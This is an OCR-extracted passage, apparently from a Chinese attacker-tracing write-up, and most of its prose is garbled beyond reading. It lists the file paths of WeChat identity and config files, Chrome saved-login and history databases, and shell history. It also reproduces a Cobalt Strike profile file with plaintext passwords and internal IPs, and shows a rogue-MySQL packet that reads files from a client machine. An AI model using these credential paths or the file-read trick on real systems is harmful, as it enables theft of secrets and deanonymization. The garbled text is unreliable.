(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
21037666-b3876752-7be8-47b2-a1f8-a313e820b3ea.png)

5.3 RIS id

ELERRAENBPRZE, MANERREGIE id, R
(ERUARRRE, EXENEEME:

C:\Users\<B+rAF&>\Documents\WeChat Files\All
Users\config\config.data

NESKMETHPR, FMUXHRRN:

C:\Users\Administrator\Documents\WeChat Files\All
Users\config\config.data

EXERNEN LZEXTEE, FAAMEMNT, it

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
52104992-3a014eae-222a-44b1-a509-
444d2fc7e486.png)

rootREDIDCkarxujcc2o61
#

root@REDIDCkarxujcc2o61

#

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
R52004211-923fh1024-4h91-A4~RAR-0NKe—Rafr7402fA14 nna)


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660621037666-b3876752-7be8-47b2-a1f8-a313e820b3ea.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552104992-3a014eae-222a-44b1-a509-444d2fc7e486.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552094311-93fb19e4-4b91-4c56-908e-6afc7402f914.png

MEmV NV I I N IR I o IV T v v e vt e e rygy

REEENLERNL, ERZEMZERIRNMIE id:

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16606
21067590-f1b69535-43e0-45ba-bal15-
992ab04b997e.png)

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
52307390-c56cd8bd-880a-4baa—-b869—
6e1ad2335231.png)

5.4 cobalt strike il

TEAE hw B, RZIMEN s WK, EXXPMREORE
EE B, cobalt strike BT, AFPIHESEIAER—TR
BRI .aggressor.prop , XTXHUREISHIAFERXT:
RN BIRIFE 2 Administrator , BBERILE:

C:\Users\Administrator\.aggressor.prop

.aggressor.prop MAEBEIFMICET cs EENKS. 215,
im0, R,


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552094311-93fb19e4-4b91-4c56-908e-6afc7402f914.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660621067590-f1b69535-43e0-45ba-ba15-992ab04b997e.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552307390-c56cd8bd-880a-4baa-b869-6e1ad2335231.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552866448-a4df6d0a-818c-4ea5-aa3c-3d5b65e5d967.png

console.color_2.color=\#3465A4
connection.profiles.192.168.22.103.port=3389
connection.profiles. .port=3389
console.color_3.color=\#4E9A06
connection.profiles port=3389
connection.profiles.10.30.1.161.port=27192
console.color_0.color=\#ffffff
connection.profiles ,user=neo
console.color_1.color=\#000000
connection.profiles password=
connection.profiles.10.30.3.90.user=

tab.highlight.color=\#0000ff
connection.profiles.192.168.22.103.user=neo
graph.arrange_icons_circle.shortcut=ctrl pressed C
connection.profiles. .user=neol
connection.profiles. yort=5521
connection.profiles.10.30.3.112.password=123
connection.profiles. ‘user=neollll
graph.arrange_icons_stack.shortcut=ctrl pressed S
connection.profiles.10.30.1.240.port=3389
connection.profiles.10.30.3.131.password=123

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
52866448-a4df6d0a-818c-4eab—aa3c—
3d5b65e5d967.png)

EXEH

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
52962904-ef6eae6d—3cf5-4fdf-b4d3-5e60978c582f.png)
BT, FER:

(ttnn. [ AAdA wlavls aam~ iai~a~ INTIONNDND [ nnA/ONDT70TE AN 122N R


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552866448-a4df6d0a-818c-4ea5-aa3c-3d5b65e5d967.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660552962904-ef6eae6d-3cf5-4fdf-b4d3-5e60978c582f.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660621134208-abab149e-da2d-4373-87cb-ebcf88950549.png

\TILLPS./ / CUILITIAIK.CULT I YUYUE/ U/ 2V / PIY/ OO 70794/ 1TOVVO

21134208-abab149e-da2d-4373-87cb-ebcf88950549.png)

EXEIREEIRA cs IkSEE, REBENR:

03/28 20:06:45
03/28 20:07:15
03/28 20:07:45
03/28 20:11:06
04/16 23:43:06
04/16 23:47:44
04/16 23:48:18
04/16 23:49:45
04/17 00:17:13
04/17 01:57:39
07/11 14:50:18
07/11 14:58:16
07/11 15:11:13
07/11 15:11:43
07/11 15:13:59
07/11 15:17:17
07/11 15:19:01
07/11 17:37:37
07/11 23:29:53
07/11 23:37:02
07/18 14:15:01
07/18 14:17:28
08/15 16:44:58
08/15 16:45:24 <neol> hacked by crow
08/15 16:45:37 <neol> LtcsELZWRHIET

[08/15 16:45] neol

[event>

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
53155021-fd1dec92-202f-49ff-8090-6a07918e9c72.png)

5.5 Chrome kSl Fic&

EXEERSRIREATBAIREA—T ssrf 7, BIBATEFERF
KRB X, BIFEA:

chromefylogin data, |RATEBRZLERE, EEEE A MIREEIX HHI—
LENK-SHY

‘C:/Users/’ + username +
‘/AppData/Local/Google/Chrome/User Data/Default/Login
Data’

chromef[H £icx

‘C:/Users/’ + username +
‘/AppData/Local/Google/Chrome/User Data/Default/History’

2% https://www.anquanke.com/post/id/215696

HSL mac 2RI AKRHIAY
https://mp.weixin.qqg.com/s/jLKyCwgbTEbHM8M8SvO0Jg
(https://mp.weixin.qg.com/s/jLKyCwgbTEbHM8M8SvO0Jg)

6.1 mac FEYAEF ID


https://cdn.nlark.com/yuque/0/2022/png/8378754/1660621134208-abab149e-da2d-4373-87cb-ebcf88950549.png
https://cdn.nlark.com/yuque/0/2022/png/8378754/1660553155021-fd1dec92-202f-49ff-8090-6a07918e9c72.png
https://mp.weixin.qq.com/s/jLKyCwgbTEbHm8M8SvO0Jg
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cat /var/log/system. log
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Crore Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core ..'dio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:32:53 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:35:22 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:35:22 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:35:22 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugil
Aug 15 13:35:22 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugii
Aug 13:36:37 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugi
13:36:37 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugi
Aug 13:36:37 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugi
13:36:37 crows-mac Core Audio Driver (TRTCAudioPlugin.driver)[375]: TRTCAudioPlugi
13:36:56 crows-mac ASL Sender Statistics

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
53957025-13162a48-9bae-4cd7-82d0-0fbf8e646b61.png)

6.2 mac FRIHIE id

/Users/{BF
#}/Library/Containers/com.tencent.xinWeChat/Data/Library/A
pplication
Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data

/Library/Containers/con. tencent. xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9 [17:00:10]

aq. consupport..weixin.aa. comshor

UBHAY 00, GUOXBVSE£00U | 000 ; MBB1AI0HV G2 UUKBaKUOBIGE<02600b0. Bl

]
reoNee.ox

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
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095d0da0a195.png)

6.3 mac HRY history

/Users/{AF&}/.bash_history
/llcar</fHRPZY/ 7<h hictnrv
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1660554114:0; code topinfo.data

1660554246:0;cat /Users/crow/.zsh_history

(https://cdn.nlark.com/yuque/0/2022/png/8378754/16605
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mysql -h **_ * 7% * -y root -p

LERT mysql BRIEZRIN:

B EiE: C\Windows\System32\cmd.exe -mysql -h 1~ Wuroot...= | = i

:\phpstudy\PHPTutorial\MySQL\bin>mysql —h -u root —p
[Enter password:

lelcome to the MySQL monitor. Commands end with ; or \g.

our MySQL connection id is 8

[Server version: 8.0.12

opyright (c)> 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
ffiliates. Other names may bhe trademarks of their respective

57 or "\h’ for help. Type ’“c’ to clear the current input statement.
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4 MySQL Protocol
Packet Length: 20
Packet Number: 1
Prefix: 251(NULL)
Number of fields: @
Prefix: 67
Length: 67
Extra data: 67
b Payload: 3a5c57696e646f77735c5046524f2e6c6f67

52 54 00 b6 36 4f fe ee 00 2e 16 9a 08 00 45 00 RT--60-- -.----E
00 40 5b 23 40 00 2c @6 97 83 67 ea 48 07 ac 11  -@[#@-,- --g-H
@0 Of Oc ea d3 8 d2 9a 12 81 58 57 dd 95 50 18 X- -P

0030 01 f6 23 15 00 00 14 00 00 01 fb 43 ELR-IaEVANCE # [€: \Wi]
[cI"Bl6e 64 6f 77 73 5c 50 46 52 4f 2e 6¢ 6f 6 ndows \PF RO. log]
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